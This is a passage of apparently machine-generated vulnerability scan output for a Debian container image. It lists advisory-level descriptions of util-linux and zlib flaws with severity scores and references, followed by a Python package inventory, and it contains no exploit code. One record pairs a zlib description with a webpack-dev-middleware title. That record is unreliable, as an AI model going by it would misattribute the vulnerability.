"https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "util-linux@2.41-5", "PkgName": "util-linux", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "972fb85b9c9e83e7" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:702379e15ff2a5b1cb73d99ca0117d90ae882c0541272ee664230d25f46cfd5a", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "util-linux@2.41-5", "PkgName": "util-linux", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "972fb85b9c9e83e7" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c8ba614bb7d5f1a1d168d0f86bd9ca3f3dea285e68a06f9e0a1ec02f6fa2cdc8", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "util-linux@2.41-5", "PkgName": "util-linux", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "972fb85b9c9e83e7" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:40b0ba629d669710586aff667f092842187ea05cc2916b5c20b43591a4e40f33", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-76844", "VendorIDs": [ "DSA-6613-1" ], "PkgID": "zlib1g@1:1.3.dfsg+really1.3.1-1+b1", "PkgName": "zlib1g", "PkgIdentifier": { "PURL": "pkg:deb/debian/zlib1g@1.3.dfsg%2Breally1.3.1-1%2Bb1?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "ff182eb2a26a8142" }, "InstalledVersion": "1:1.3.dfsg+really1.3.1-1+b1", "FixedVersion": "1:1.3.dfsg+really1.3.1-1+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76844", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f97e5478b3650c26894a5d92721a0204174e16e9d45c9fc43591b63e32f29591", "Title": "webpack-dev-middleware: webpack-dev-middleware: Information Disclosure via Path Traversal", "Description": "zlib 1.2.11 through 1.3.2 contains a heap buffer overflow: after an underlying write() fails, gz_write() returns without resetting strm.next_in, leaving it pointed at the caller's buffer. A later gz* write call then derives a position from the stale pointer and writes past a heap allocation; any write() failure reaches it, including EPIPE on a blocking descriptor, and in versions before 1.3.1.2 the failed write must be followed by a gzclearerr() call.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 2, "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "V3Score": 8.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-76844", "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490", "https://github.com/advisories/GHSA-wr3j-pwj9-hqq6", "https://github.com/madler/zlib", "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393", "https://github.com/madler/zlib/commit/df84af25dc1942490e1d1c899a07619152a46148", "https://github.com/webpack/webpack-dev-middleware", "https://github.com/webpack/webpack-dev-middleware/blob/v8.1.1/src/middleware.js", "https://github.com/webpack/webpack-dev-middleware/commit/13344e78b26d88fe9b7c8381a3860e248a52359b", "https://github.com/webpack/webpack-dev-middleware/commit/cefccbac330c29052fc6dffe85fd292ea2ac782b", "https://github.com/webpack/webpack-dev-middleware/pull/2404", "https://github.com/webpack/webpack-dev-middleware/releases/tag/v7.4.6", "https://github.com/webpack/webpack-dev-middleware/releases/tag/v8.3.0", "https://github.com/webpack/webpack-dev-middleware/security/advisories/GHSA-g84c-rxfj-3j2c", "https://nvd.nist.gov/vuln/detail/CVE-2026-76844", "https://www.cve.org/CVERecord?id=CVE-2026-76844", "https://www.vulncheck.com/advisories/webpack-dev-middleware-path-traversal-via-offset-slice-on-a-non-slash-terminated-publicpath", "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate" ], "PublishedDate": "2026-08-24T14:17:02.25Z", "LastModifiedDate": "2026-10-12T17:10:00.163Z" }, { "VulnerabilityID": "CVE-2026-85091", "VendorIDs": [ "DSA-6613-1" ], "PkgID": "zlib1g@1:1.3.dfsg+really1.3.1-1+b1", "PkgName": "zlib1g", "PkgIdentifier": { "PURL": "pkg:deb/debian/zlib1g@1.3.dfsg%2Breally1.3.1-1%2Bb1?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "ff182eb2a26a8142" }, "InstalledVersion": "1:1.3.dfsg+really1.3.1-1+b1", "FixedVersion": "1:1.3.dfsg+really1.3.1-1+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-85091", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:83ebf30aed9926ec88bca096789c01c0e78e1b4576206a74f6e51a14dc5a7ecb", "Title": "zlib: zlib: Heap buffer overflow in gz_vacate() allows arbitrary code execution", "Description": "zlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "azure": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-85091", "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490", "https://github.com/madler/zlib", "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393", "https://nvd.nist.gov/vuln/detail/CVE-2026-85091", "https://ubuntu.com/security/notices/USN-8954-1", "https://www.cve.org/CVERecord?id=CVE-2026-85091", "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate" ], "PublishedDate": "2026-09-03T13:06:20.573Z", "LastModifiedDate": "2026-09-09T20:41:07.123Z" } ] }, { "Target": "Python", "Class": "lang-pkgs", "Type": "python-pkg", "Packages": [ { "Name": "PyJWT", "Identifier": { "PURL": "pkg:pypi/pyjwt@2.8.0", "UID": "67352408205a0abb" }, "Version": "2.8.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/PyJWT-2.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "PyYAML", "Identifier": { "PURL": "pkg:pypi/pyyaml@6.0.3", "UID": "200d8384c5c91a41" }, "Version": "6.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/pyyaml-6.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "SQLAlchemy", "Identifier": { "PURL": "pkg:pypi/sqlalchemy@2.0.23", "UID": "94423113ef2e5b77" }, "Version": "2.0.23", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/SQLAlchemy-2.0.23.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "annotated-types", "Identifier": { "PURL": "pkg:pypi/annotated-types@0.8.0", "UID": "334ad696bbf87e9f" }, "Version": "0.8.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/annotated_types-0.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "anyio", "Identifier": { "PURL": "pkg:pypi/anyio@3.7.1", "UID": "95e41d3398cefb22" }, "Version": "3.7.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/anyio-3.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "autocommand", "Identifier": { "PURL": "pkg:pypi/autocommand@2.2.2", "UID": "de2aeb22213f7255" }, "Version": "2.2.2", "Licenses": [ "LGPL-3.0-only" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/autocommand-2.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "backports.tarfile", "Identifier": { "PURL": "pkg:pypi/backports.tarfile@1.2.0", "UID": "1333ca5d453000df" }, "Version": "1.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/backports.tarfile-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "certifi", "Identifier": { "PURL": "pkg:pypi/certifi@2026.7.22", "UID": "fd504eea95509f7" }, "Version": "2026.7.22", "Licenses": [ "MPL-2.0" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/certifi-2026.7.22.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cffi", "Identifier": { "PURL": "pkg:pypi/cffi@2.1.1", "UID": "5cf91c7f9fa09cb6" }, "Version": "2.1.1", "Licenses": [ "MIT-0" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/cffi-2.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "charset-normalizer", "Identifier": { "PURL": "pkg:pypi/charset-normalizer@3.4.9", "UID": "57ba31621e8248bb" }, "Version": "3.4.9", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/charset_normalizer-3.4.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "click", "Identifier": { "PURL": "pkg:pypi/click@8.4.2", "UID": "4e28a51bc258cd00" }, "Version": "8.4.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/click-8.4.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "cryptography", "Identifier": { "PURL": "pkg:pypi/cryptography@50.0.0", "UID": "bb6c6dc1c4a8e1d3" }, "Version": "50.0.0", "Licenses": [ "Apache-2.0 OR BSD-3-Clause" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/cryptography-50.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "fastapi", "Identifier": { "PURL": "pkg:pypi/fastapi@0.104.1", "UID": "55cb3fa707499541" }, "Version": "0.104.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/fastapi-0.104.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-auth", "Identifier": { "PURL": "pkg:pypi/google-auth@2.56.3", "UID": "54c62733f9247ae5" }, "Version": "2.56.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/google_auth-2.56.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-auth-oauthlib", "Identifier": { "PURL": "pkg:pypi/google-auth-oauthlib@1.4.0", "UID": "3d87b73397b2f75d" }, "Version": "1.4.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/google_auth_oauthlib-1.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "greenlet", "Identifier": { "PURL": "pkg:pypi/greenlet@3.5.5", "UID": "58949dd4f3935aad" }, "Version": "3.5.5", "Licenses": [ "MIT AND PSF-2.0" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/greenlet-3.5.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "gspread", "Identifier": { "PURL": "pkg:pypi/gspread@6.2.1", "UID": "1a46dcada10e4be9" }, "Version": "6.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/gspread-6.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "h11", "Identifier": { "PURL": "pkg:pypi/h11@0.16.0", "UID": "455db3a00bf72" }, "Version": "0.16.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/h11-0.16.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "httpcore", "Identifier": { "PURL": "pkg:pypi/httpcore@1.0.9", "UID": "5f1e35fbdba869a3" }, "Version": "1.0.9", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/httpcore-1.0.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "httptools", "Identifier": { "PURL": "pkg:pypi/httptools@0.8.0", "UID": "e2677d92735345c0" }, "Version": "0.8.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/httptools-0.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "httpx", "Identifier": { "PURL": "pkg:pypi/httpx@0.25.1", "UID": "afed453cbf4ead11" }, "Version": "0.25.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/httpx-0.25.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "idna", "Identifier": { "PURL": "pkg:pypi/idna@3.18", "UID": "b3a39293fac77ef8" }, "Version": "3.18", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/idna-3.18.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "importlib_metadata", "Identifier": { "PURL": "pkg:pypi/importlib-metadata@8.0.0", "UID": "347a36bc9e660761" }, "Version": "8.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/importlib_metadata-8.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "inflect", "Identifier": { "PURL": "pkg:pypi/inflect@7.3.1", "UID": "51e7d1c898b69383" }, "Version": "7.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/inflect-7.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.collections", "Identifier": { "PURL": "pkg:pypi/jaraco.collections@5.1.0", "UID": "b2e77b8a0b175ddd" }, "Version": "5.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/jaraco.collections-5.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.context", "Identifier": { "PURL": "pkg:pypi/jaraco.context@5.3.0", "UID": "d6550b81e52efabe" }, "Version": "5.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/jaraco.context-5.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.functools", "Identifier": { "PURL": "pkg:pypi/jaraco.functools@4.0.1", "UID": "f42118e4940a83a5" }, "Version": "4.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/jaraco.functools-4.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jaraco.text", "Identifier": { "PURL": "pkg:pypi/jaraco.text@3.12.1", "UID": "cac1fcd2d9755e50" }, "Version": "3.12.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/jaraco.text-3.12.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "more-itertools", "Identifier": { "PURL": "pkg:pypi/more-itertools@10.3.0", "UID": "cab6d07375997e08" }, "Version": "10.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/more_itertools-10.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "oauthlib", "Identifier": { "PURL": "pkg:pypi/oauthlib@3.3.1", "UID": "f7b1064db88860a6" }, "Version": "3.3.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:3a5472b664c76ae28fab3d5bbebaadb8e2e333e591740f4d18095037f098b09f" }, "FilePath": "usr/local/lib/python3.11/site-packages/oauthlib-3.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "packaging", "Identifier": { "PURL": "pkg:pypi/packaging@24.2", "UID": "dd0943476d1773a8" }, "Version": "24.2", "Licenses": [ "Apache-2.0", "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/setuptools/_vendor/packaging-24.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "packaging", "Identifier": { "PURL": "pkg:pypi/packaging@26.3", "UID": "c2637f54d6182f69" }, "Version": "26.3", "Licenses": [ "Apache-2.0 OR BSD-2-Clause" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/packaging-26.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pip", "Identifier": { "PURL": "pkg:pypi/pip@24.0", "UID": "7a4293168b845101" }, "Version": "24.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "FilePath": "usr/local/lib/python3.11/site-packages/pip-24.0.dist-info/METADATA", 